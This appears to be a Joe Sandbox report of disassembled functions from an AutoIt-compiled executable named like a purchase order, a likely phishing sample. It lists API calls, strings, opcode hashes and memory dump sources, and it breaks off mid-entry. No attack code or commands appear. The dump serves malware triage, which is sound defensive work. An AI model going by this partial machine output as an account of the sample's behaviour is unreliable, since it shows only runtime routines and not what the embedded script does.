                                                                                                                                                                      Function 00454DAA Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 203windowlibraryCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • _wcslen.LIBCMT ref: 00454DCF
                                                                                                                                                                      • _wcslen.LIBCMT ref: 00454DE2
                                                                                                                                                                      • __wcsicoll.LIBCMT ref: 00454DEF
                                                                                                                                                                      • _wcslen.LIBCMT ref: 00454E04
                                                                                                                                                                      • __wcsicoll.LIBCMT ref: 00454E11
                                                                                                                                                                      • _wcslen.LIBCMT ref: 00454E24
                                                                                                                                                                      • __wcsicoll.LIBCMT ref: 00454E31
                                                                                                                                                                        • Part of subcall function 004115D0: __wcsicmp_l.LIBCMT ref: 00411657
                                                                                                                                                                      • LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 00454E65
                                                                                                                                                                      • LoadLibraryExW.KERNEL32(?,00000000,00000032,?,?,?,?,?,?,?,?,?,00000000), ref: 00454E79
                                                                                                                                                                      • LoadImageW.USER32(00000000,00000000,?,00000001,?,?), ref: 00454EB7
                                                                                                                                                                      • LoadImageW.USER32(00000000,?,00000001,?,?,00000000), ref: 00454EFB
                                                                                                                                                                      • LoadImageW.USER32(00000000,00000000,?,00000001,?,?), ref: 00454F2C
                                                                                                                                                                      • FreeLibrary.KERNEL32(00000000), ref: 00454F37
                                                                                                                                                                      • ExtractIconExW.SHELL32(?,00000000,00000000,?,00000001), ref: 00454F94
                                                                                                                                                                      • DestroyIcon.USER32(?), ref: 00454FA2
                                                                                                                                                                      • SendMessageW.USER32(?,00000170,00000000,00000000), ref: 00454FC0
                                                                                                                                                                      • SendMessageW.USER32(?,00000064,00000172,00000001), ref: 00454FCC
                                                                                                                                                                      • MoveWindow.USER32(?,?,?,?,?,00000001), ref: 00454FF1
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Load$Image_wcslen$__wcsicoll$IconLibraryMessageSend$DestroyExtractFreeMoveWindow__wcsicmp_l
                                                                                                                                                                      • String ID: .dll$.exe$.icl
                                                                                                                                                                      • API String ID: 2511167534-1154884017
                                                                                                                                                                      • Opcode ID: 3f138871eb6b7f703bfd118eaab481945a2915db6d26b5ab3e2ea40d00a2935e
                                                                                                                                                                      • Instruction ID: 777b7c61fe84a0ac0f88e3bb9536c5d4e291b97e4b5026f6b39318954af55ba4
                                                                                                                                                                      • Opcode Fuzzy Hash: 3f138871eb6b7f703bfd118eaab481945a2915db6d26b5ab3e2ea40d00a2935e
                                                                                                                                                                      • Instruction Fuzzy Hash: D461D9711043016AE620DF659D85F7B73ECEF84B0AF00481EFE81D5182E7B9A989C77A
                                                                                                                                                                      Function 00436B3A Relevance: 35.2, APIs: 15, Strings: 5, Instructions: 190COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetFileVersionInfoSizeW.VERSION(?,?), ref: 00436B4E
                                                                                                                                                                      • GetFileVersionInfoW.VERSION(?,00000000,00000000,00000000), ref: 00436B73
                                                                                                                                                                      • _wcslen.LIBCMT ref: 00436B79
                                                                                                                                                                      • _wcscpy.LIBCMT ref: 00436B9F
                                                                                                                                                                      • _wcscat.LIBCMT ref: 00436BC0
                                                                                                                                                                      • VerQueryValueW.VERSION(00000000,\VarFileInfo\Translation,?,?,?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 00436BE7
                                                                                                                                                                      • _wcscat.LIBCMT ref: 00436C2A
                                                                                                                                                                      • _wcscat.LIBCMT ref: 00436C31
                                                                                                                                                                      • __wcsicoll.LIBCMT ref: 00436C4B
                                                                                                                                                                      • _wcsncpy.LIBCMT ref: 00436C62
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: _wcscat$FileInfoVersion$QuerySizeValue__wcsicoll_wcscpy_wcslen_wcsncpy
                                                                                                                                                                      • String ID: %u.%u.%u.%u$04090000$DefaultLangCodepage$StringFileInfo\$\VarFileInfo\Translation
                                                                                                                                                                      • API String ID: 1503153545-1459072770
                                                                                                                                                                      • Opcode ID: 008cb01cbb675dac6eb9866d49a054c7095339c3b591b4350c6f773ace1c370f
                                                                                                                                                                      • Instruction ID: f4118b49cd66f9fee818cdfc0bae26735a4a754b0a3131160812af9443992caa
                                                                                                                                                                      • Opcode Fuzzy Hash: 008cb01cbb675dac6eb9866d49a054c7095339c3b591b4350c6f773ace1c370f
                                                                                                                                                                      • Instruction Fuzzy Hash: B54115B264020137D200B7269C83EFF735CDE99715F54091FFE45A2253FA2EA69642BE
                                                                                                                                                                      Function 00452788 Relevance: 34.8, APIs: 23, Instructions: 344COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 004431E0: __time64.LIBCMT ref: 004431EA
                                                                                                                                                                      • _fseek.LIBCMT ref: 004527FC
                                                                                                                                                                      • __wsplitpath.LIBCMT ref: 0045285C
                                                                                                                                                                      • _wcscpy.LIBCMT ref: 00452871
                                                                                                                                                                      • _wcscat.LIBCMT ref: 00452886
                                                                                                                                                                      • __wsplitpath.LIBCMT ref: 004528B0
                                                                                                                                                                      • _wcscat.LIBCMT ref: 004528C8
                                                                                                                                                                      • _wcscat.LIBCMT ref: 004528DD
                                                                                                                                                                      • __fread_nolock.LIBCMT ref: 00452914
                                                                                                                                                                      • __fread_nolock.LIBCMT ref: 00452925
                                                                                                                                                                      • __fread_nolock.LIBCMT ref: 00452944
                                                                                                                                                                      • __fread_nolock.LIBCMT ref: 00452955
                                                                                                                                                                      • __fread_nolock.LIBCMT ref: 00452976
                                                                                                                                                                      • __fread_nolock.LIBCMT ref: 00452987
                                                                                                                                                                      • __fread_nolock.LIBCMT ref: 00452998
                                                                                                                                                                      • __fread_nolock.LIBCMT ref: 004529A9
                                                                                                                                                                        • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 004523ED
                                                                                                                                                                        • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 00452432
                                                                                                                                                                        • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 0045244F
                                                                                                                                                                        • Part of subcall function 004523CE: _wcscpy.LIBCMT ref: 0045247D
                                                                                                                                                                        • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 0045248E
                                                                                                                                                                        • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 004524AB
                                                                                                                                                                        • Part of subcall function 004523CE: _wcscpy.LIBCMT ref: 004524D9
                                                                                                                                                                      • __fread_nolock.LIBCMT ref: 00452A39
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: __fread_nolock$_wcscat_wcscpy$__wsplitpath$__time64_fseek
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 2054058615-0
                                                                                                                                                                      • Opcode ID: 983239acf030dd5dbcb525efe1f3094d5bf78e470c43ee0c462dc16c64ee25c2
                                                                                                                                                                      • Instruction ID: 66779ec6e5012556871fefb3c18d5d4f0449fb8b445ab61f685bb60241e2a5ae
                                                                                                                                                                      • Opcode Fuzzy Hash: 983239acf030dd5dbcb525efe1f3094d5bf78e470c43ee0c462dc16c64ee25c2
                                                                                                                                                                      • Instruction Fuzzy Hash: 16C14EB2508340ABD320DF65C881EEBB7E8EFC9714F444D2FF68987241E6799544CBA6
                                                                                                                                                                      Function 004559A8 Relevance: 33.7, APIs: 18, Strings: 1, Instructions: 401COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID: 0
                                                                                                                                                                      • API String ID: 0-4108050209
                                                                                                                                                                      • Opcode ID: 0476511f06c615c4519fb5d0bdcf97e6c9114ef5bab3d74fcb2069946f87bde7
                                                                                                                                                                      • Instruction ID: a4e6889c8706d2a682ad3cc8acca51b009283e1ae9b51da70db0806919efebf9
                                                                                                                                                                      • Opcode Fuzzy Hash: 0476511f06c615c4519fb5d0bdcf97e6c9114ef5bab3d74fcb2069946f87bde7
                                                                                                                                                                      • Instruction Fuzzy Hash: 95C104723403416BF3209B64DC46FBBB794EB95321F04453FFA45D62C1EBBA9409876A
                                                                                                                                                                      Function 004700B0 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 285windowtimeCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                                                                                      • GetWindowRect.USER32(?,?), ref: 004701EA
                                                                                                                                                                      • GetClientRect.USER32(?,?), ref: 004701FA
                                                                                                                                                                      • GetSystemMetrics.USER32(00000007), ref: 00470202
                                                                                                                                                                      • GetSystemMetrics.USER32(00000008), ref: 00470216
                                                                                                                                                                      • GetSystemMetrics.USER32(00000004), ref: 00470238
                                                                                                                                                                      • SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 0047026B
                                                                                                                                                                      • GetSystemMetrics.USER32(00000007), ref: 00470273
                                                                                                                                                                      • SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 004702A0
                                                                                                                                                                      • GetSystemMetrics.USER32(00000008), ref: 004702A8
                                                                                                                                                                      • GetSystemMetrics.USER32(00000004), ref: 004702CF
                                                                                                                                                                      • SetRect.USER32(?,00000000,00000000,?,?), ref: 004702F1
                                                                                                                                                                      • AdjustWindowRectEx.USER32(?,?,00000000,000000FF), ref: 00470304
                                                                                                                                                                      • CreateWindowExW.USER32(?,AutoIt v3 GUI,?,?,?,?,?,?,?,00000000,00400000,00000000), ref: 0047033E
                                                                                                                                                                      • SetWindowLongW.USER32(00000000,000000EB,?), ref: 00470356
                                                                                                                                                                      • GetClientRect.USER32(?,?), ref: 00470371
                                                                                                                                                                      • GetStockObject.GDI32(00000011), ref: 00470391
                                                                                                                                                                      • SendMessageW.USER32(?,00000030,00000000), ref: 0047039D
                                                                                                                                                                      • SetTimer.USER32(00000000,00000000,00000028,Function_00061E7F), ref: 004703C4
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: System$Metrics$Rect$Window$ClientInfoParameters$AdjustCreateLongMessageObjectSendStockTimer_malloc
                                                                                                                                                                      • String ID: AutoIt v3 GUI
                                                                                                                                                                      • API String ID: 867697134-248962490
                                                                                                                                                                      • Opcode ID: 2f3c1093d205cc919e8fce6edce52452572e464071e7d7185a704cd66ddcb838
                                                                                                                                                                      • Instruction ID: 96ed3905d942d8c5c267f8207effb08aff50268186fc7250a269a1908d1679c9
                                                                                                                                                                      • Opcode Fuzzy Hash: 2f3c1093d205cc919e8fce6edce52452572e464071e7d7185a704cd66ddcb838
                                                                                                                                                                      • Instruction Fuzzy Hash: 27B19F71205301AFD324DF68DD45B6BB7E4FB88710F108A2EFA9587290DBB5E844CB5A
                                                                                                                                                                      Function 00448759 Relevance: 31.8, APIs: 17, Strings: 1, Instructions: 311COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • SetWindowPos.USER32(004A83D8,00000000,00000000,00000000,00000000,00000000,00000013,004A83D8,?,?), ref: 0044880A
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Window
                                                                                                                                                                      • String ID: 0
                                                                                                                                                                      • API String ID: 2353593579-4108050209
                                                                                                                                                                      • Opcode ID: ca380a5f1b7b22306afb7d181ee8588f63c71b92ae7430e038360cbc2591eaeb
                                                                                                                                                                      • Instruction ID: 13976ff69904029c6bcd7d6129a783336058688c161485e0dcc644b2654616cc
                                                                                                                                                                      • Opcode Fuzzy Hash: ca380a5f1b7b22306afb7d181ee8588f63c71b92ae7430e038360cbc2591eaeb
                                                                                                                                                                      • Instruction Fuzzy Hash: 94B19DB02443419FF324CF14C889BABBBE4EB89744F14491EF991972D1DBB8E845CB5A
                                                                                                                                                                      Function 0044A0EA Relevance: 31.7, APIs: 21, Instructions: 196windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetSysColor.USER32 ref: 0044A11D
                                                                                                                                                                      • GetClientRect.USER32(?,?), ref: 0044A18D
                                                                                                                                                                      • SendMessageW.USER32(?,00001328,00000000,?), ref: 0044A1A6
                                                                                                                                                                      • GetWindowDC.USER32(?), ref: 0044A1B3
                                                                                                                                                                      • GetPixel.GDI32(00000000,?,?), ref: 0044A1C6
                                                                                                                                                                      • ReleaseDC.USER32(?,00000000), ref: 0044A1D6
                                                                                                                                                                      • GetSysColor.USER32(0000000F), ref: 0044A1EC
                                                                                                                                                                      • GetWindowLongW.USER32(?,000000F0), ref: 0044A207
                                                                                                                                                                      • GetSysColor.USER32(0000000F), ref: 0044A216
                                                                                                                                                                      • GetSysColor.USER32(00000005), ref: 0044A21E
                                                                                                                                                                      • GetWindowDC.USER32 ref: 0044A277
                                                                                                                                                                      • GetPixel.GDI32(00000000,00000000,00000000), ref: 0044A28A
                                                                                                                                                                      • GetPixel.GDI32(00000000,?,00000000), ref: 0044A29F
                                                                                                                                                                      • GetPixel.GDI32(00000000,00000000,?), ref: 0044A2B4
                                                                                                                                                                      • GetPixel.GDI32(00000000,?,?), ref: 0044A2D0
                                                                                                                                                                      • ReleaseDC.USER32(?,00000000), ref: 0044A2D8
                                                                                                                                                                      • SetTextColor.GDI32(00000000,?), ref: 0044A2F6
                                                                                                                                                                      • SetBkMode.GDI32(00000000,00000001), ref: 0044A30A
                                                                                                                                                                      • GetStockObject.GDI32(00000005), ref: 0044A312
                                                                                                                                                                      • SetBkColor.GDI32(00000000,00000000), ref: 0044A328
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Color$Pixel$Window$Release$ClientLongMessageModeObjectRectSendStockText
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 1744303182-0
                                                                                                                                                                      • Opcode ID: c697551d262e08263a45fd1ab6b47457a8b4de30e4a023901e5f3e03e0b3260a
                                                                                                                                                                      • Instruction ID: f407f88e1fc9bdd08975b2e96734b256c85d8f08b0ead5e1f8dbf5832e348edb
                                                                                                                                                                      • Opcode Fuzzy Hash: c697551d262e08263a45fd1ab6b47457a8b4de30e4a023901e5f3e03e0b3260a
                                                                                                                                                                      • Instruction Fuzzy Hash: AD6148315442016BE3209B388C88BBFB7A4FB49324F54079EF9A8973D0D7B99C51D76A
                                                                                                                                                                      Function 0046884B Relevance: 31.6, APIs: 6, Strings: 12, Instructions: 113COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: __wcsicoll$__wcsnicmp
                                                                                                                                                                      • String ID: ACTIVE$ALL$CLASSNAME=$HANDLE=$LAST$REGEXP=$[ACTIVE$[ALL$[CLASS:$[HANDLE:$[LAST$[REGEXPTITLE:
                                                                                                                                                                      • API String ID: 790654849-1810252412
                                                                                                                                                                      • Opcode ID: 3ef763bd77a89c14e9ef14da431a542ecfa9ee53dca0875bc5fd58ba0035de2e
                                                                                                                                                                      • Instruction ID: 1b62209f2aa4de5792947d5a3aa61dcd1c874d3672784017b8f4b2c72f71c34c
                                                                                                                                                                      • Opcode Fuzzy Hash: 3ef763bd77a89c14e9ef14da431a542ecfa9ee53dca0875bc5fd58ba0035de2e
                                                                                                                                                                      • Instruction Fuzzy Hash: 7A3193B1644301A7CA00FA61DC83F5B73A85F54759F100A3FB955B61D6FA6CEA0C862F
                                                                                                                                                                      Function 0046CAAA Relevance: 28.2, APIs: 14, Strings: 2, Instructions: 229COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID: >>>AUTOIT SCRIPT<<<$\
                                                                                                                                                                      • API String ID: 0-1896584978
                                                                                                                                                                      • Opcode ID: 044f2c4ecf877d2b2fc48157703a0e30c53185d3f7c6c17f150f9ffb4993ef22
                                                                                                                                                                      • Instruction ID: e6fbcda15cb9520e0e34bfac0f9750edaedb1b44b840e2dcfb1a2c219c195b9a
                                                                                                                                                                      • Opcode Fuzzy Hash: 044f2c4ecf877d2b2fc48157703a0e30c53185d3f7c6c17f150f9ffb4993ef22
                                                                                                                                                                      • Instruction Fuzzy Hash: 907186B2504300ABC720EB65C885FEBB3E8AF94714F148D1FF58997142E679E648C75A
                                                                                                                                                                      Function 00476A8A Relevance: 27.3, APIs: 18, Instructions: 332COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: InitVariant
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 1927566239-0
                                                                                                                                                                      • Opcode ID: 0ce8a0180f427c6633dd7a645a706da8f2470da33a28fd12fcc8bbcffff15558
                                                                                                                                                                      • Instruction ID: b17386a2766a1a739d91313a8bf0106a5dd250ff49ec0cac6ee5761d63536315
                                                                                                                                                                      • Opcode Fuzzy Hash: 0ce8a0180f427c6633dd7a645a706da8f2470da33a28fd12fcc8bbcffff15558
                                                                                                                                                                      • Instruction Fuzzy Hash: 87A1F5766146019FC300EF65D88499FB7AAFF85315F408D3EFA49C3211D77AD4098BAA
                                                                                                                                                                      Function 0046D6EB Relevance: 26.7, APIs: 6, Strings: 9, Instructions: 474COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                                                                                      • GetForegroundWindow.USER32(?,?), ref: 0046D7C1
                                                                                                                                                                      • GetForegroundWindow.USER32 ref: 0046DBA4
                                                                                                                                                                      • IsWindow.USER32(?), ref: 0046DBDE
                                                                                                                                                                      • GetDesktopWindow.USER32 ref: 0046DCB5
                                                                                                                                                                      • EnumChildWindows.USER32(00000000), ref: 0046DCBC
                                                                                                                                                                      • EnumWindows.USER32(00460772,?), ref: 0046DCC4
                                                                                                                                                                        • Part of subcall function 00445975: _wcslen.LIBCMT ref: 00445984
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Window$EnumForegroundWindows_wcslen$ChildDesktop
                                                                                                                                                                      • String ID: ACTIVE$ALL$CLASS$HANDLE$INSTANCE$LAST$REGEXPCLASS$REGEXPTITLE$TITLE
                                                                                                                                                                      • API String ID: 1322021666-1919597938
                                                                                                                                                                      • Opcode ID: f0ae0bd5c84c8fbd9fa80e8b17a650ade3f6139d63811c55da114ce2128ba9af
                                                                                                                                                                      • Instruction ID: 252cd24da08a8cddfda52e39780f3f39bafd894638fb43d2866a45805a666b3e
                                                                                                                                                                      • Opcode Fuzzy Hash: f0ae0bd5c84c8fbd9fa80e8b17a650ade3f6139d63811c55da114ce2128ba9af
                                                                                                                                                                      • Instruction Fuzzy Hash: 96F1C571D143409BCB00EF61C881EAB73A4BF95308F44496FF9456B286E77DE909CB6A
                                                                                                                                                                      Function 0043737D Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 83windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
